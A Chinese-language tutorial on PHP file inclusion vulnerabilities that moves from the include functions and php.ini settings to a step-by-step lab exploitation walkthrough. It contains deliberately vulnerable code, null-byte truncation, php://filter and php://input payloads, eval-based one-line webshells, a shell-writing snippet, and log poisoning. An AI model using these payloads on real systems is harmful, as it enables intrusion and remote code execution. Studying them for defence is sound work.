文章目录
一:概述
程序开发人员通常会把可重复使用的函数写到单个文件中,在使用某个函数的时候,直接调用此文件,无需再次编写,这种调用文件的过程通常称为包含。
程序开发人员都希望代码更加灵活,所以通常会把被包含的文件设置为变量,来进行动态调用,但正是由于这种灵活性,从而导致客户端可以调用任意文件,造成文件包含漏洞。
几乎所有的脚本语言都会提供文件包含功能。文件包含漏洞在PHP web Application中居多,在JSP/ASP/ASP.net程序中比较少。这里以php为例,说明文件包含漏洞。
二:漏洞产生的原因
1、web应用实现了动态包含
2、动态包含的文件路径参数,客户端可控
三:PHP中的文件包含
3.1:语句
PHP中提供了四个文件包含的函数,四个函数之间略有区别。如下:
函数 | 区别 |
---|---|
include() | 文件包含失败时,会产生警告,脚本会继续运行 |
include_once() | 与include()功能相同,文件只会被包含一次。 |
require() | 文件包含失败时,会产生错误,直接结束脚本执行。 |
require_once() | 与require()功能相同,文件只会被包含一次。 |
实例:
新建include文件夹,并在该文件夹下创建inc.php和include.php两个文件
inc.php
<?php
echo "this is inc.php!";
?>
include.php
# include包含文件有两种写法
<?php
include("./inc.php");
echo "<h1>this is include.php!</h1>";
include "./inc.php";
?>
效果如图:
用变量表述文件
<?PHP
$path="./inc.php";
include_once("./inc.php");
echo "<h1>this is include_once.php!";
include_once $path; # 用变量表述文件,那么这个变量是不是就可以为任意值了,这就是文件包含漏洞。
?>
那么用变量表示php呢?是不是就做到了上传木马文件的效果了
<?php
$path="./info.php";
include_once("./inc.php");
echo "<h1>this is include_once.php!</h1>";
include_once $path;
?>
3.2:相关配置
文件包含是PHP的基本功能之一,有本地文件包含和远程文件包含之分(虽然php官网上不是这么解释的)。
简单来说,本地文件包含就是可以读取和打开本地文件,远程文件包含(HTTP,FTP,PHP伪协议)就是可以远程加载文件。
我们可以通过php.ini(注意对应的版本)来进行配置。如下:
allow_url_fopen=On/Off 本地文件包含(LFI) 不管是on还是off,都可以包含本地文件,那么到底On和off开关到底是什么呢??
大多数人都认为这个开关是:是否开启包含本地文件的开关。实则不然。。。
allow_url_include=On/Off 远程文件包含(RFI) 为off则php伪协议(php://)不起作用。
3.3:文件包含示例
我们可以通过以下简单的代码来测试文件包含漏洞。准备一个fileinclude.php文件。
<?php
if(isset($_GET['path'])){
include $_GET['path'];
}else{
echo "?path=info.php";
}
?>
3.4:本地文件包含(LFI)
本地文件包含就是我们可以通过相对路径的方式找到文件,然后包含之。
访问的url类似于:localhost/include/include_once.php?path=info.php
3.4:远程文件包含(RFI)
远程文件包含就是我们可以通过http(s)或者(ftp)等方式,远程加载文件。需要确定php.ini里面的allow_url_include=On
访问的URL为:localhost/include/include_once.php?path=http://192.168.1.1/include/info.php
ftp方式:localhost/include/include_once.php?path=ftp://username:password@192.168.1.1/include/info.php
四:漏洞原理及特点
4.1:漏洞原理
PHP文件包含是程序设计的基础功能之一,能够减少代码量,提高开发效率。但是使用文件包含功能时,有类似于以上测试代码的设计,实现了动态包含,就有产生文件包含漏洞的风险。如果实现动态包含的参数,web 应用没有进行严格净化,客户端用户可以影响或控制文件包含的路径,就会产生文件包含漏洞。
4.2:特点
PHP提供的文件包含功能非常强大,有以下特点:
1、无视文件扩展名读取文件
smile_info.jpg是一张图片木马,里面写入了phpinfo()的php代码。
包含文件时,PHP会读取文件的源码,包括图片文件。尝试包含图片,链接为:http://192.168.49.13/include/fileinclude.php?path=smile_info.jpg我们发现打开图片不是图像而是图片的源码。
smile_info.jpg
2、无条件解析PHP代码
文件包含在读取文件源码的同时,如果遇到符合PHP语法规范的代码,就会无条件执行。例如,将info.php的后缀名改成info.rar,依然能够显示phpinfo()信息。这同时,也为图片木马提供了一种利用方法。
3、空字符安全绕过
空字符安全限制绕过,是PHP小于5.3.4版本的一个漏洞,CVE编号是CVE-2006-7243。这个漏洞就是PHP接收来自于路径名中的空(null)字符,这可能允许依赖于上下文的攻击者通过在此字符后放置安全文件扩展名来绕过预期的访问限制,也就是之前遇到过的00截断。00截断攻击也会体现在文件包含中。
web应用在设计的时候,经常会包含模板文件,简单程序如下:
<?php
if(isset($_GET['path'])){
include $_GET['path'].".html";
}else{
echo "?path=[path]";
}
?>
这个简单的代码限定了被包含文件的后缀名是html,提交url:localhost/fileinclude/00/?path=info
效果如下:
此处我们可以通过00截断来包含任意文件,比如同级目录下的inc.php文件。提交变量http://192.168.1.1/fileinclude/00/?path=info.php%00
注意:需要关闭在php.ini中的魔术引号。要不然%会被转义。magic_quotes_gpc = Off
五:文件包含漏洞的利用
5.1:读取敏感文件
目标主机文件存在(目标文件的路径,绝对路径,相对路径)
具有文件可读权限,提交参数?path=c:\windows\system32\drivers\etc\hosts,读取本地host文件。
5.2:直接包含图片木马
可以利用文件包含漏洞直接包含图片木马。直接包含图片木马?path=pngXXX.png,然后使用菜刀或者蚁剑与之相连接。
准备一张图片和一个yjh.php文件,yjh.php内容为:<?php @eval($_REQUEST[777])?>
然后进行图片木马制作
浏览器访问:
打开中国蚁剑,连接到浏览器地址
5.3:包含木马“写shell”
我们也可以将如下代码写入到图片中,
<?php
fputs(fopen('shell.php','w'),"<?php @eval(\$_REQUEST['cmd'])?>");
?>
该段代码的含义是,在当前目录下创建一个名为[shell.php]的文件,内容为<?php @eval(\$_REQUEST['cmd'])?>
,当我们直接包含图片的时候,这段代码就会被执行。
所以,我们在include文件夹下,创建一个w.php文件,内容为上述php代码。然后生成图片木马
qq_shell.php
然后会生成shell.php文件,用蚁剑连接这个页面。
连接成功。。。。
PHP封装协议前提:需要开启php.ini中的allow_url_include选项
5.4:PHP封装协议——访问本地文件
我们可以使用php的file协议访问本地系统文件,提交参数?path=file://c:\windows\system32\drivers\etc\hosts
5.5:PHP封装协议——传输PHP文件
可以使用以下参数来传送任意PHP文件
?path=php://filter/read=convert.base64-encode/resource=info.php
其中info.php是个文件的名字,不一定非得php结尾,比如可以是info.rar
然后把得到的所有字符串进行base64解码即可。
得到的是一串字母数字符号等
复制这一行,进行解码
得到结果
5.6:PHP封装协议——执行PHP命令
我们还可以利用php的封装协议来执行PHP命令
步骤:
打开burpsuite
把上述url地址(http://localhost/include/fileinclude.php?path=php://filter/read=convert.base64-encode/resource=info.php
)
复制到burp
然后点击发送,可以看到页面在右边显示了
然后,修改参数为input,并在下方写入php代码
可以书写任意php代码
六:补充点
已知一个网站存在本地文件包含漏洞,没有文件上传API,如何利用?
1、包含本地日志文件getshell
日志文件的路径?
1.常识:apache路径为:phpStudy\Apache\logs
2.爆破
首先在浏览器访问localhost根目录,
然后把http://localhost/
复制到bp
加入<?php @eval($_REQUEST[777])?>
一句话木马,然后点击发送
进入apache的Log目录下,notepad++打开error.log文件,发现有php代码植入。
然后http://localhost/include/fileinclude.php?path=D:\phpStudy\Apache\logs\error.log
把这个 url 地址传入蚁剑
连接成功。。。
2、包含session文件,造成sessionID泄露
这个先跳过。。。有点难
metinfov5.0.4文件包含漏洞代码审计
软件:Seay源代码审计系统
下载地址:点我
(访问密码:J6cmcG)